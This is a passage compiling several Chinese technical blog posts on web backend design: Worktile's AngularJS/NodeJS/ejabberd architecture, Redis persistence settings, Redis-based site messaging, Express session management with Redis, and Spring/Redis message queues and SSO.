自动化双向数据绑定功能，这一点在Worktile中非常重要，如任务的状态变化都要实时变更到其他成员，如果具有自动化双向数据绑定功能，只需要绑定到UI的数据源发生变化，UI会自动发生改变，不需要工程师再通过代码去修改UI元素的改变，如下面这段代码：




<div class="entry-task-main" 
     ng-class="{1:'task-completed-style'}[task.completed]">
    <a class="entry-task-check" 
     id="task_check_{{ task.tid }}"
       wt-click="js_complete_task($event, entry, task)">
        <i ng-class="{0: 'icon-check-empty', 1: 'icon-check-sign'}[task.completed]"></i>
    </a>
    <a class="entry-task-title" href="javascript:;">{{task.name}}</a>
</div>







	
语义化标签，AngularJS在设计之初信奉的理念就是：当编写UI的同时又需要编写业务逻辑时，声明式的代码远比命令式代码要好，命令式的代码更适合写业务逻辑，AngularJS在设计上就通过语义化的标签把对DOM元素的操作和逻辑代码分离，如我们需要展现一个任务列表，只需要下面这段代码即可：


<div ng-repeat="task in tasks">
     <wt-task view-type="item" show-project="false" 
            class="slide-trigger"
              hide_action="true"
              ng-click="locator.openTask(task.pid, task.tid)">
     </wt-task>
</div>




	
模块化设计，AngularJS堪称模块化设计方面的典范，通过模块化设计我们可以非常好的实现Worktile的工程化，在Worktile中涉及的元素非常多，如有项目、任务、日程、文件、话题、文档等等，而这每一个元素都可以设计为一个模块，如下所示：


(function () {
    'use strict';
    angular.module('wtApp', [  'wt.project.ctrl',
        'wt.team.ctrl',
        'wt.task.ctrl',
        'wt.event.ctrl',
        'wt.post.ctrl',
        'wt.file.ctrl',
        'wt.page.ctrl',
        'wt.mail.ctrl'
    ]);
}());





	
引入依赖注入，依赖注入是面向对象中比较成熟的设计模式之一，为了解决面向对象中依赖问题，得到了广泛的应用，AngularJS中大胆使用了依赖注入，极大的减少了各个模块之间的依赖问题：


taskListCtrl.$inject = ['$scope', '$stateParams', 
            '$rootScope', '$popbox', 
            '$location', '$timeout', 
            'bus', 'globalDataContext', 
            'locator'];







结合以上特点，我们最终决定了前端框架使用AngularJS来实现，从Worktile上线两年多的表现来看，我们的选择无疑是正确的。当然AngularJS也有一些缺点，在实际使用中还是要根据具体的产品类型来选择使用，另外AngularJS 2.0也已经初见端倪，和AngularJS 1.0有很大的不同，感兴趣的同学可以先去尝鲜一下。


服务设计


我们再来看看Worktile的后台服务设计，Worktile的整体服务架构设计如下图所示：





其中前端部分在上面的SPA一节中我们已经说过了，下面一一分析下其他的服务：



	API服务，包括Web API、Mobile API、Open API，这些都运行于NodeJS之上，选用NodeJS的原因主要是它的异步事件驱动，对于高并发的支持比较好，另外一个原因是使用简单，对于前后端可以使用同一门语言去开发。

	缓存和队列服务，Worktile中的缓存和队列服务都是基于Redis来实现，Redis是一款非常优秀的开源缓存服务，并且可以选择基于内存还是进行数据持久化，它提供的pub/sub模型对于Worktile来说非常重要，对于一些实时性要求不高的处理，我们都是在Redis中pub一条消息，告知其他服务有数据发生了变化，那些服务在接收到Redis中的消息后，根据消息的类型决定应该如何做出处理。

	数据库服务，Worktile产品本身的特点决定了它是一个对实时性和性能的要求，远超过对事务性要求的产品，所以在选择数据库时，我们选用了MongoDB数据库，性能高，集群方便，数据以BSON结构存储，和Node.js天生完美结合。

	文件预览服务，使用Worktile的同学肯定知道在Worktile中所有的文件都可以做到无需下载到本地，而直接在线查看，这一切都是预览服务的功劳，因为文件类型的各种各样，在实现文件预览时也要根据文件的类型做出不同的处理，针对txt、pdf、代码片段等文本型的文件，我们只需要读取文件中的内容，然后再前端用相应的视图展现出来即可，相对比较简单。但是对于Office类型的文件，如ppt、doc、xls等文件，就不能这么简单的处理，我们希望文件在Worktile中查看的效果和用户在本地使用Word、Excel、PowerPoint查看的效果差不多，经过我们的调研，最终选用了微软官方提供的Office Web App服务。



消息推送


消息推送服务是Worktile最核心的服务之一，前面提到过作为一款团队协作工具，要能够实现非常好的实时性，任何数据的变化都需要及时变更到团队所有成员当前所在的视图，如下面这幅图，是一个典型的任务看板，团队所有成员可能同时在操作当前项目中的任务，每个操作引起看板的变化都会实时更新，不需要用户做任何刷新操作：





为了达到这种效果，需要在Web客户端和服务器之间维持一个长连接，当有任何改变发生时，给客户端发送不同的消息，告知客户端哪些数据发生了变化，如下面是我们为任务定义的消息中的其中几个：


on_task_trash            : "on_task_trash",
on_task_complete         : "on_task_complete",
on_task_move             : "on_task_move",
on_task_update           : "on_task_update",
on_task_comment          : "on_task_comment",
on_task_badges_file      : "on_task_badges_file",
on_task_unarchived       : "on_task_unarchived",
on_task_badges_check     : "on_task_badges_check"



实现实时消息推送，有以下几种方式可供选择：



	短轮询，页面端通过js定时异步刷新，这种方式优点在于实现简单，但实时效果较差。

	长轮询。页面端通过js异步请求服务端，服务端在接收到请求后，如果该次请求没有数据，则挂起这次请求，直到有数据到达或时间片（服务端设定）到，则返回本次请求，客户端接着下一次请求，这种方式对于服务的要求较高，尤其在并发量很大的情况下，对服务端的压力很大。

	Websocket。浏览器通过websocket协议连接服务端，实现了浏览器和服务器端的全双工通信。需要服务端和浏览器都支持websocket协议。



在Worktile一开始我们选用了Socket.IO作为消息服务，但是随着访问量的增大，需要做集群化的时候感觉到力不从心，尤其对于Socket.IO状态数据的存储，由于并没有官方的解决方案，当时我们采用了一个第三方的开源项目，使用Redis来存储，引起了一些性能上的问题，在后来重构时选用了基于Erlang语言的开源XMPP服务ejabberd作为我们的消息服务。


ejabberd是xmpp协议的一种实现， xmpp广泛应用于即时通信领域。Xmpp协议的实现有很多种，比如java的openfire，但相较其他实现，ejabberd的并发性能无疑使最优秀的。Xmpp协议的前身是jabber协议，早期的jabber协议主要包括在线状态（presence）、好友花名册（roster）、IQ（Info/Query）几个部分。现在jabber已经成为rfc的官方标准，如rfc2799, rfc4622, rfc6121，以及xmpp的扩展协议（xep）。Worktile就是基于XEP-0124、XEP-0206定义的BOSH扩展协议。


由于自身业务的需要，我们对ejabberd的用户认证和好友列表模块的源码进行修改，通过redis保存用户的在线状态，而不是mnesia和mysql。另外好友这块我们是从已有的数据库中（mongodb）中获取Worktile中项目或团队的成员。Web端通过strophe.js来连接（http-bind），strophe.js可以以长轮询和websocket两种方式来连接，由于ejabberd还没有好的websocket的实现，就采用了BOSH的方式模拟长连接。整个系统的结构如下：





后记


关于Worktile整个的技术架构就揭秘到这里，通过上面的介绍，相信大家也能看到Worktile本身就是典型的MEAN（MongoDB、Express、AngularJS、NodeJS）架构，外加上ejabberd作为实时消息推送服务，建议大家在自己的产品中，根据产品自身的特点和团队的技术背景，来选择具体使用哪种技术。




作者简介


李会军，Worktile联合创始人&CTO，关注团队协作领域，致力于用工具解决中小团队的协作问题。
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Redis的持久化


Redis有两种持久化的方式：快照（RDB文件）和追加式文件（AOF文件）：



	RDB持久化方式会在一个特定的间隔保存那个时间点的一个数据快照。

	AOF持久化方式则会记录每一个服务器收到的写操作。在服务启动时，这些记录的操作会逐条执行从而重建出原来的数据。写操作命令记录的格式跟Redis协议一致，以追加的方式进行保存。

	Redis的持久化是可以禁用的，就是说你可以让数据的生命周期只存在于服务器的运行时间里。

	两种方式的持久化是可以同时存在的，但是当Redis重启时，AOF文件会被优先用于重建数据。



RDB


工作原理



	Redis调用fork()，产生一个子进程。

	子进程把数据写到一个临时的RDB文件。

	当子进程写完新的RDB文件后，把旧的RDB文件替换掉。



优点



	RDB文件是一个很简洁的单文件，它保存了某个时间点的Redis数据，很适合用于做备份。你可以设定一个时间点对RDB文件进行归档，这样就能在需要的时候很轻易的把数据恢复到不同的版本。

	基于上面所描述的特性，RDB很适合用于灾备。单文件很方便就能传输到远程的服务器上。

	RDB的性能很好，需要进行持久化时，主进程会fork一个子进程出来，然后把持久化的工作交给子进程，自己不会有相关的I/O操作。

	比起AOF，在数据量比较大的情况下，RDB的启动速度更快。



缺点



	RDB容易造成数据的丢失。假设每5分钟保存一次快照，如果Redis因为某些原因不能正常工作，那么从上次产生快照到Redis出现问题这段时间的数据就会丢失了。

	RDB使用fork()产生子进程进行数据的持久化，如果数据比较大的话可能就会花费点时间，造成Redis停止服务几毫秒。如果数据量很大且CPU性能不是很好的时候，停止服务的时间甚至会到1秒。



文件路径和名称


默认Redis会把快照文件存储为当前目录下一个名为dump.rdb的文件。要修改文件的存储路径和名称，可以通过修改配置文件redis.conf实现：


# RDB文件名，默认为dump.rdb。
dbfilename dump.rdb

# 文件存放的目录，AOF文件同样存放在此目录下。默认为当前工作目录。
dir ./



保存点（RDB的启用和禁用）


你可以配置保存点，使Redis如果在每N秒后数据发生了M次改变就保存快照文件。例如下面这个保存点配置表示每60秒，如果数据发生了1000次以上的变动，Redis就会自动保存快照文件：


save 60 1000



保存点可以设置多个，Redis的配置文件就默认设置了3个保存点：


# 格式为：save <seconds> <changes>
# 可以设置多个。
save 900 1 #900秒后至少1个key有变动
save 300 10 #300秒后至少10个key有变动
save 60 10000 #60秒后至少10000个key有变动



如果想禁用快照保存的功能，可以通过注释掉所有"save"配置达到，或者在最后一条"save"配置后添加如下的配置：


save ""



错误处理


默认情况下，如果Redis在后台生成快照的时候失败，那么就会停止接收数据，目的是让用户能知道数据没有持久化成功。但是如果你有其他的方式可以监控到Redis及其持久化的状态，那么可以把这个功能禁止掉。


stop-writes-on-bgsave-error yes



数据压缩


默认Redis会采用LZF对数据进行压缩。如果你想节省点CPU的性能，你可以把压缩功能禁用掉，但是数据集就会比没压缩的时候要打。


rdbcompression yes



数据校验


从版本5的RDB的开始，一个CRC64的校验码会放在文件的末尾。这样更能保证文件的完整性，但是在保存或者加载文件时会损失一定的性能（大概10%）。如果想追求更高的性能，可以把它禁用掉，这样文件在写入校验码时会用0替代，加载的时候看到0就会直接跳过校验。


rdbchecksum yes



手动生成快照


Redis提供了两个命令用于手动生成快照。


SAVE


SAVE命令会使用同步的方式生成RDB快照文件，这意味着在这个过程中会阻塞所有其他客户端的请求。因此不建议在生产环境使用这个命令，除非因为某种原因需要去阻止Redis使用子进程进行后台生成快照（例如调用fork(2)出错）。


BGSAVE


BGSAVE命令使用后台的方式保存RDB文件，调用此命令后，会立刻返回OK返回码。Redis会产生一个子进程进行处理并立刻恢复对客户端的服务。在客户端我们可以使用LASTSAVE命令查看操作是否成功。


127.0.0.1:6379> BGSAVE
Background saving started
127.0.0.1:6379> LASTSAVE
(integer) 1433936394




  配置文件里禁用了快照生成功能不影响SAVE和BGSAVE命令的效果。




AOF


快照并不是很可靠。如果你的电脑突然宕机了，或者电源断了，又或者不小心杀掉了进程，那么最新的数据就会丢失。而AOF文件则提供了一种更为可靠的持久化方式。每当Redis接受到会修改数据集的命令时，就会把命令追加到AOF文件里，当你重启Redis时，AOF里的命令会被重新执行一次，重建数据。


优点



	比RDB可靠。你可以制定不同的fsync策略：不进行fsync、每秒fsync一次和每次查询进行fsync。默认是每秒fsync一次。这意味着你最多丢失一秒钟的数据。

	AOF日志文件是一个纯追加的文件。就算是遇到突然停电的情况，也不会出现日志的定位或者损坏问题。甚至如果因为某些原因（例如磁盘满了）命令只写了一半到日志文件里，我们也可以用redis-check-aof这个工具很简单的进行修复。

	当AOF文件太大时，Redis会自动在后台进行重写。重写很安全，因为重写是在一个新的文件上进行，同时Redis会继续往旧的文件追加数据。新文件上会写入能重建当前数据集的最小操作命令的集合。当新文件重写完，Redis会把新旧文件进行切换，然后开始把数据写到新文件上。

	AOF把操作命令以简单易懂的格式一条接一条的保存在文件里，很容易导出来用于恢复数据。例如我们不小心用FLUSHALL命令把所有数据刷掉了，只要文件没有被重写，我们可以把服务停掉，把最后那条命令删掉，然后重启服务，这样就能把被刷掉的数据恢复回来。



缺点



	在相同的数据集下，AOF文件的大小一般会比RDB文件大。

	在某些fsync策略下，AOF的速度会比RDB慢。通常fsync设置为每秒一次就能获得比较高的性能，而在禁止fsync的情况下速度可以达到RDB的水平。

	在过去曾经发现一些很罕见的BUG导致使用AOF重建的数据跟原数据不一致的问题。



启用AOF


把配置项appendonly设为yes：


appendonly yes



文件路径和名称


# 文件存放目录，与RDB共用。默认为当前工作目录。
dir ./

# 默认文件名为appendonly.aof
appendfilename "appendonly.aof"



可靠性


你可以配置Redis调用fsync的频率，有三个选项：



	每当有新命令追加到AOF的时候调用fsync。速度最慢，但是最安全。

	每秒fsync一次。速度快（2.4版本跟快照方式速度差不多），安全性不错（最多丢失1秒的数据）。

	从不fsync，交由系统去处理。这个方式速度最快，但是安全性一般。



推荐使用每秒fsync一次的方式（默认的方式），因为它速度快，安全性也不错。相关配置如下：


# appendfsync always
appendfsync everysec
# appendfsync no



日志重写


随着写操作的不断增加，AOF文件会越来越大。例如你递增一个计数器100次，那么最终结果就是数据集里的计数器的值为最终的递增结果，但是AOF文件里却会把这100次操作完整的记录下来。而事实上要恢复这个记录，只需要1个命令就行了，也就是说AOF文件里那100条命令其实可以精简为1条。所以Redis支持这样一个功能：在不中断服务的情况下在后台重建AOF文件。


工作原理如下：



	Redis调用fork()，产生一个子进程。

	子进程把新的AOF写到一个临时文件里。

	主进程持续把新的变动写到内存里的buffer，同时也会把这些新的变动写到旧的AOF里，这样即使重写失败也能保证数据的安全。

	当子进程完成文件的重写后，主进程会获得一个信号，然后把内存里的buffer追加到子进程生成的那个新AOF里。

	Redis



我们可以通过配置设置日志重写的条件：


# Redis会记住自从上一次重写后AOF文件的大小（如果自Redis启动后还没重写过，则记住启动时使用的AOF文件的大小）。
# 如果当前的文件大小比起记住的那个大小超过指定的百分比，则会触发重写。
# 同时需要设置一个文件大小最小值，只有大于这个值文件才会重写，以防文件很小，但是已经达到百分比的情况。

auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb



要禁用自动的日志重写功能，我们可以把百分比设置为0：


auto-aof-rewrite-percentage 0




  Redis 2.4以上才可以自动进行日志重写，之前的版本需要手动运行BGREWRITEAOF这个命令。




数据损坏修复


如果因为某些原因（例如服务器崩溃）AOF文件损坏了，导致Redis加载不了，可以通过以下方式进行修复：



	备份AOF文件。

	
使用redis-check-aof命令修复原始的AOF文件：


$ redis-check-aof --fix




	可以使用diff -u命令看下两个文件的差异。

	使用修复过的文件重启Redis服务。



从RDB切换到AOF


这里只说Redis >= 2.2版本的方式：



	备份一个最新的dump.rdb的文件，并把备份文件放在一个安全的地方。

	
运行以下两条命令：


$ redis-cli config set appendonly yes
$ redis-cli config set save ""




	确保数据跟切换前一致。


	确保数据正确的写到AOF文件里。




  第二条命令是用来禁用RDB的持久化方式，但是这不是必须的，因为你可以同时启用两种持久化方式。





  记得对配置文件redis.conf进行编辑启用AOF，因为命令行方式修改配置在重启Redis后就会失效。




备份


建议的备份方法：



	创建一个定时任务，每小时和每天创建一个快照，保存在不同的文件夹里。

	定时任务运行时，把太旧的文件进行删除。例如只保留48小时的按小时创建的快照和一到两个月的按天创建的快照。

	每天确保一次把快照文件传输到数据中心外的地方进行保存，至少不能保存在Redis服务所在的服务器。



参考


http://redis.io/topics/persistence
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作者：夏日小草
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0x01.About


最近在处理系统消息模块，查阅了很多实践案例，各有针对性。


首先站内消息主要包括：个人消息（评论，点赞），系统消息，订阅消息，私信。


其中，订阅区分用户群，即系统消息是一个特殊的所有人订阅的订阅消息，特点是一对多。


前三个实时性比较低，最后一个实时性高，离线状态下是私信，如果双方在线要转为聊天室，特点是一对一。


那么，接下来，该选个方案了，SQL or NoSQL?








0x02.Mysql实现


首先，对于个人消息、私信("UserMessage")，一条消息插一句，Mysql跑跑没问题。


对于系统消息或订阅消息，必然不可以，假如有10万用户，一次性那么要插入10万条消息，Mysql必死。


那么就是说，要设立一个系统库（"SystemMessage"），每当用户登录，就去跑跑系统库("SystemMessage")，把未读的系统库跑到个人库。


关于订阅消息就比较麻烦了，对用户分组？对消息分组？


关系型数据库处理集合问题是比较麻烦的，目前想到的结论是建立一个表("RssMessage")存储消息类型，消息索引。


下面列了大致的数据库模型：





看完这个数据库设计，我也觉得好难受，吐槽前先来想想为什么吧。


UserSystemRelation表用于记录用户读取到哪个位置的标记。


可以看到，UserMessage与SystemMessage表中，title、tid、ctime、type字段冗余了，好像也没必要，


但是从用户功能上看，当用户登陆后，查找自己站内消息，必然要用到的有：status，必然要显示的有：title、ctime，type作为用户进入消息面板后，要筛选的方式之一，这样的话，Mysql就只要跑一个表就可以完成显示给用户的最新站内消息了。


由于MessageText可能是一个大信息通知，用户查看个人消息时候，并未查看MessageText内容，所以单独放一张表。


相应处理流程



	用户登录后，先通过"UserSystemRelation"表查询是否有新的系统消息

	如果"UserSystemRelation"，查找到自身uid，同步系统消息到个人消息；如果"UserSystemRelation"未查找到自身uid，直接插入"UserSystemRelation"，并读取最近50条系统消息。

	用户点击未读消息，获取"MessageText""，并更新状态(status)为已读。

	用户通过"status"、"type"，可以筛选系统消息。









0x03.Mysql+MongoDB实现


由于Mongodb是一种文档型的数据结构，所以，可以考虑把所有数据转成json直接塞给Mongodb。


基于用户的习惯，读多写少，大部分时候都是看到消息，删除、更新比较少，如果数据没更新直接读Mongodb，如果数据更新，直接删除Mongodb

的索引。


这个考虑是在，用户数量很大的时候，要在"UserSystem"表里查找到用户消息比较慢的时候用，类似于吧Mongodb当缓存。








0x04.Redis实现


看了Mysql下站内消息的数据库设计，我也觉得很蛋疼，临时过渡没事，但是还是NoSQL合适。


Redis自带订阅与发布系统，http://redisbook.readthedocs.org/en/latest/feature/pubsub.html


在下图展示的这个 pubsub_channels 示例中， client2 、 client5 和 client1 就订阅了 channel1 ， 而其他频道也分别被别的客户端所订阅：





只要是订阅了相应地频道，就会收到频道的消息。


把用户ID作为频道，私信就是反向的频道订阅，系统消息就是所有用户的订阅，那么离线的消息呢？


1、线上用户


还是存在系统或个人的哈希表里，等上线后再去读取。


在Python中，订阅发布消息(Publish)如下：


import redis,time
queue = redis.StrictRedis(host='localhost', port=6379, db=0)
channel = queue.pubsub()

for i in range(100): 
    queue.publish("test", i)
    time.sleep(0.1)




Python中，订阅监听消息(Subcribe)如下：


import redis,time
r = redis.StrictRedis(host='localhost', port=6379, db=0)
p = r.pubsub()
p.subscribe('test')

while True:
    message = p.get_message()
    if message:
        print "Subscriber: %s" % message['data']



Redis-py的API可以看GitHub：https://github.com/andymccurdy/redis-py


这是线上用户做法。


2、线下用户


看过一种做法是建立一个Redis链表，存储登陆用户，当用户登陆就直接发送，没登陆就暂存起来。


这里的话，可以用WebSocket实时监听，定期发送心跳包，如果在线直接返回Redis自带的订阅系统。


系统消息建立一个集合：



  SADD system:2015-08-03 7 8 9 10 11




第一段标示系统信息，第二段标示日期，后面的数字标示message id。


个人消息建立一个集合：



  SADD user:12345:read  1 2 3 4




第一段标示用户信息集合，第二段标示用户id，下一段标示消息类型为已读，后面的数字标示message id。


关于订阅消息如下：



  SADD rss:xiaocao 12 13 14 15




那么你就收到小草的订阅消息，消息ID分别是 12, 13, 14, 15


还有很重要的消息数据存储，



  HMSET message:12 title 标题 content 内容 date 2015-08-03




Python创建数据库的例子就是：


import redis,time,threading,random
pool = redis.ConnectionPool(host='localhost', port=6379, db=1)
rs = redis.Redis(connection_pool=pool)

rs.sadd("user:123:read", "1", "2")
rs.sadd("user:123:unread", "4", "5", "6")
rs.sadd("system:2015-08-03", "7", "8", "9", "10", "11")
rs.sadd("rss:xiaocao", "12", "13", "14", "15", "11")

for i in range(15):
    rs.hset("message:"+str(i), "title", "title=>"+str(random.uniform(1, 99999)))
    rs.hset("message:"+str(i), "content","content=>"+str(time.time()))
    rs.hset("message:"+str(i), "date", str(time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())))







参考：



	
http://redisbook.readthedocs.org/en/latest/feature/pubsub.html


	
http://huoding.com/2012/02/29/146


	
http://yijiebuyi.com/blog/faa9e68cb296d88bbc65b24dbc7b8de1.html


	
http://www.cnblogs.com/grenet/archive/2010/03/08/1680655.html
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基础概念


Session管理是Web Application的基础也是一个老生常谈的话题。为了方便后文的展开，更重要的是确认自己清晰的理解了整个Session管理的概念，我在此还是决定赘述的整个流程。如果你已经对于Session概念非常清晰的话，可以跳过本节不影响对于后文的理解。


HTTP协议在设计的时候是无状态的。这是一个很关键的概念，意味着服务器在处理请求的时候，并不关注这个请求是谁发来的。这对于以提供内容为核心的Web1.0，例如门户网站，非常适合。然而对于以应用服务为核心的Web 2.0而言，服务器端必须有能力从请求中提取出请求者的身份信息，以在请求者不用反复输入身份的情况下，提供连续的服务。


实现请求身份验证的方式很多，其中一种广泛接受的方式是使用服务器端产生的Session ID结合浏览器的Cookie实现对Session的管理，一般来说包括以下4个步骤：



	服务器端的产生Session ID

	服务器端和客户端存储Session ID

	从HTTP Header中提取Session ID

	根据Session ID从服务器端的Hash中获取请求者身份信息






上图是一个使用Redis Cluster来实现对Session管理的流程，但本质上除了redisMatrix.get和redisMatrix.set以外，和一般的Session管理流程是一致的。


简单来说，一个请求到达的时候，服务器会先判断是否带有Session信息。如果有，则根据Session ID去数据库中查找是否具有对应的用户身份信息。此处可能会出现Session失效、非法的Session信息等可能性，那么服务器视同无Ssession信息的情况，重新的产生一个随机的字符串，并且在Http返回头中写入新的Session ID信息。另一者，如果服务器成功获取了用户的身份信息则以该身份为请求者提供服务。


使用Express和Redis对Session管理的实现


Redis是一个非常适合用于Session管理的数据库。第一，它的结构简单，key-value的形式非常符合SessionID-UserID的存储；第二，读写速度非常快；第三，自身支持数据自动过期和清除；第四，语法、部署非常简单。基于以上原因，很多Session管理都是基于Redis实现的。

Express已经将Session管理的整个实现过程简化到仅仅几行代码的配置的地步了，你完全不用理解整个session产生、存储、返回、过期、再颁发的结构，使用Express和Redis实现Session管理，只要两个中间件就足够了：



	express-session

	connect-redis



废话不多说还是上代码：


var express = require('express');
var session = require('express-session');
var RedisStore = require('connect-redis')(session);

var app = express();
var options = {
     "host": "127.0.0.1",
     "port": "6379",
     "ttl": 60 * 60 * 24 * 30,   //Session的有效期为30天
};

// 此时req对象还没有session这个属性
app.use(session({
     store: new RedisStore(options),
     secret: 'express is powerful'
}));
// 经过中间件处理后，可以通过req.session访问session object。比如如果你在session中保存了session.userId就可以根据userId查找用户的信息了。



req在经过session中间件的时候就会自动完成session的有效性验证、延期/重新颁发、以及对session中数据的获取了。


上述代码只是对于请求的Session静态处理，整个用户管理的另一个方面则是状态的切换（用户的登陆、登出）以及用户数据的获取。


exports.signin = function(params, req, res){
    var username = params.username;
    var password = params.password;

    //查找用户信息，看是否满足登陆条件
    var user = findUser(username, password);
    if(user){
        //成功获取用户对象
        req.session.regenerate(function(){
            req.user = user;
            req.session.userId = user.id;
            req.session.save();  //保存一下修改后的Session

            res.redirect('/account');
        });  
    }
    else{
        //用户信息不符合，登陆失败
    }
}

exports.signout = function(req, res){
    req.clearCookie('connect.sid');
    req.user = null;

    req.session.regenerate(function(){
        //重新生成session之后后续的处理
        res.redirect('/signin');
    })
}

exports.persist = function(req, res, next){
    var userId = req.session.userId;

    //通过user id去数据库里面查找User对象
    var user = findUserById(userId);

    if(user){
        req.user = user;
        next();
    }
    else{
        //该用户不存在
    }
}



Session的安全问题


SessionId就如同请求者的身份证，一旦被攻击者恶意获得，攻击者便可以伪装成请求者对服务器发起请求，也就是我们经常听到的会话劫持(Session/Cookie Hijack)

关于会话劫持的原理推荐大家去看这篇文章


基于上述实现方法的Session管理，我认为基本上可以排除



	暴力破解SessionId

	恶意植入固定SessionId



两种可能，因为uid的库基本上可以保证SessionId的随机性；而传递SessionId则依赖HTTP请求头中的Cookie信息而非URL，同时在用户登录立刻更换SessionId。


唯一的可能性来源于Session的监听，而对于这种攻击有效的两种防止办法是：



	Https

很多网站仅仅在Login的阶段使用Https防止用户的用户名、密码信息被监听者获取，但是随后的SessionId同样有可能被监听者获取而伪造登录者的身份信息。因此更加推荐的方式是所有的信息传递全部使用Https实现，这样即使监听着截获了信息也无法破解其中的内容。关于如何使用NodeJS建立一个HTTPS的server可以参考《HTTPS的原理和NodeJS的实现》 这篇文章

	httpOnly

Express在options中提供了httpOnly的属性，此属性默认值为true，这个属性保证了Cookie的信息不能够通过JavaScript脚本获取。




 单点登录与消息队列
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前言

很久都没有写博客了，这次为大家简单介绍两个在WEB开发中经常使用的概念——单点登录和消息队列以及具体到J2EE中的一些实现方案。本文原创性的工作比较少，主要是一些总结概括和自己的理解。

单点登录SSO

SSO的业务场景

所谓单点登录就是在一个站点登录之后可以授信给其他站点，这样就可以做到一次登录，到处操作。单点登录的实质就是安全上下文（Security Context）或凭证（Credential）在多个应用系统之间的传递或共享。

大部分的网站采用Cookie作为登录的一种简单实现方案，在同一个一级域名下面，这样做并无问题，不需要对各个子系统分别验证。但是Cookie无法跨域传递。将用户的登录、凭证取得等解耦处理单独作为一个子系统是合理的选择。

SSO的核心要素


	共享同一个身份认证系统，也就是说所有站点的身份验证操作在同一个系统下完成


	每个子系统从共同的身份认证系统中取得用户凭证，包含用户的身份、权限信息等




示意图如下：



SSO的一种简单实现方案

下面以采用Cookie的一种方案为例来解释：

我们首先定义授信服务器A，受信服务器B，客户C；当前的业务是B需要验证C的身份。需要注意的是B和C都会保有session来记录C的登录状态，均会向C 的Header中写入对应自己域名的Cookie以存储凭证信息。Cookie中含有tokenId来标示C，也就是说对于A和B他们的Cookie中对应于同一个C，其tokenId应该一致。

C向B发起请求后，会有以下几种情形：


	B含有session，C含有Cookie，且session和Cookie中的token一致，那么不需要向A求助


	
C中对于B无Cookie或Cookie过期或session与Cookie不一致，将向A发起请求。之后根据A的情形，有以下情况：


	A中session与C中Cookie的token一致，重新生成凭证信息返回给B，B重新写入Cookie与session


	A中Cookie过期或信息不一致，将重定向到登录页面






	对于登录情形，A将更新Cookie与session，然后C再向B发起请求，这时就会变成2中第一种情况，导致A和B的信息完成同步。




消息队列

MQ的业务场景

消息队列本身是简单的，可以直接看做一个队列，重点是如何定义存储在队列中的数据格式，以满足我们对应的操作需求。MQ常常应用于那些并发量大而对于实时性要求不高的情况。举个例子，比如一个用户量较大的社交网站的评论发布，为什么这么说呢？对于这个任务，队列中只用存储评论相关信息，对于从队列中取的一方，只需要进行插入操作，符合前面所说的并发量大且可以有延时，同时并不难实现。

MQ的两种模式

消息队列在WEB开发中主要有两种模式：


	生产者/消费者模式：对于一则消息，只有一个消费者线程会去处理它，适用于我们上面所说的评论系统


	发布者/订阅者模式：对于所有订阅者，它可以读取所有在它加入之后发布的消息




在J2EE中加入消息队列，我个人认为应该是这样的：对于特定的HTTP请求，调用生产者/发布者的接口，入队必要消息，这个并不困难。大有蹊跷的我觉得在于处理消息的一方，可以实现listener将其交由容器管理，也可以自己开辟池来调度。举例来说明，对于前者Spring-redis实现的pub/sub模式队列就是直接在配置文件中设定RedisListener的实现类，对于后者，你可以直接独立出来写离线脚本来监听队列。

MQ的实现方案

目前业界有比较成熟的MQ解决产品，如下：


	RabbitMQ


	ActiveMQ


	kafka


	Redis




MQ的Spring+Redis实现简单示例

在Pom.xml中加入以下依赖

    <dependency>
        <groupId>org.springframework.data</groupId>
        <artifactId>spring-data-redis</artifactId>
        <version>1.4.2.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-pool2</artifactId>
        <version>2.3</version>
    </dependency>
    <dependency>
        <groupId>redis.clients</groupId>
        <artifactId>jedis</artifactId>
        <version>2.6.2</version>
    </dependency> 

在ApplicationContext.xml的头部插入schema

xmlns:redis="http://www.springframework.org/schema/redis"

在ApplicationContext中加入Redis的配置


    <!-- 配置redis池，依次为最大实例数，最大空闲实例数，(创建实例时)最大等待时间，(创建实例时)是否验证 -->
    <bean id="jedisPoolConfig" class="redis.clients.jedis.JedisPoolConfig">
        <property name="maxTotal" value="${redis.maxTotal}"/>
        <property name="maxIdle" value="${redis.maxIdle}"/>
        <property name="maxWaitMillis" value="${redis.maxWaitMillis}"/>
        <property name="testOnBorrow" value="${redis.testOnBorrow}"/>
    </bean>


    <!-- 配置数据源-->
    <bean id="redisConnectionFactory" class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory">
        <property name="hostName" value="127.0.0.1"></property>
        <property name="port" value="6379"></property>
        <property name="usePool" value="true"></property>
    </bean>    

    <!-- 配置数据操作 -->
    <bean id="redisTemplate" class="org.springframework.data.redis.core.RedisTemplate">
        <property name="connectionFactory" ref="redisConnectionFactory"></property>
    </bean>        
    <bean id="jdkSerializer" class="org.springframework.data.redis.serializer.JdkSerializationRedisSerializer" />
    

    <bean id="messageListener" class="org.springframework.data.redis.listener.adapter.MessageListenerAdapter">
        <property name="delegate" ref="messageDelegateListener" /> <!--这里的messageDelegateListener在后面的文件中注解的，这里对应的具体消息处理类的实现-->
        <property name="serializer" ref="jdkSerializer" />
    </bean>     
    
    <!-- 将消息handler注册 -->
    <redis:listener-container>
        <redis:listener ref="messageListener" method="handleMessage" serializer="jdkSerializer" topic="java"/>
    </redis:listener-container>
               

上文在定义Listener的时候采用了注解对象作为实现类，也可以手动在配置文件中再写一个bean，如下

    <bean id="messageDelegateListener" class="***.***.***" />

最后我们给出一个接收方的实现

import java.io.Serializable;

import org.springframework.stereotype.Component;

@Component(value="messageDelegateListener")
public class ListenMessage {
    public void handleMessage(Serializable message){
        System.out.println(message);
    }
}
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概述

Redis-Sentinel是Redis官方推荐的高可用性(HA)解决方案，当用Redis做Master-slave的高可用方案时，假如master宕机了，Redis本身(包括它的很多客户端)都没有实现自动进行主备切换，而Redis-sentinel本身也是一个独立运行的进程，它能监控多个master-slave集群，发现master宕机后能进行自懂切换。

它的主要功能有以下几点


	不时地监控redis是否按照预期良好地运行;


	如果发现某个redis节点运行出现状况，能够通知另外一个进程(例如它的客户端);


	能够进行自动切换。当一个master节点不可用时，能够选举出master的多个slave(如果有超过一个slave的话)中的一个来作为新的master,其它的slave节点会将它所追随的master的地址改为被提升为master的slave的新地址。
<br/>




Sentinel支持集群

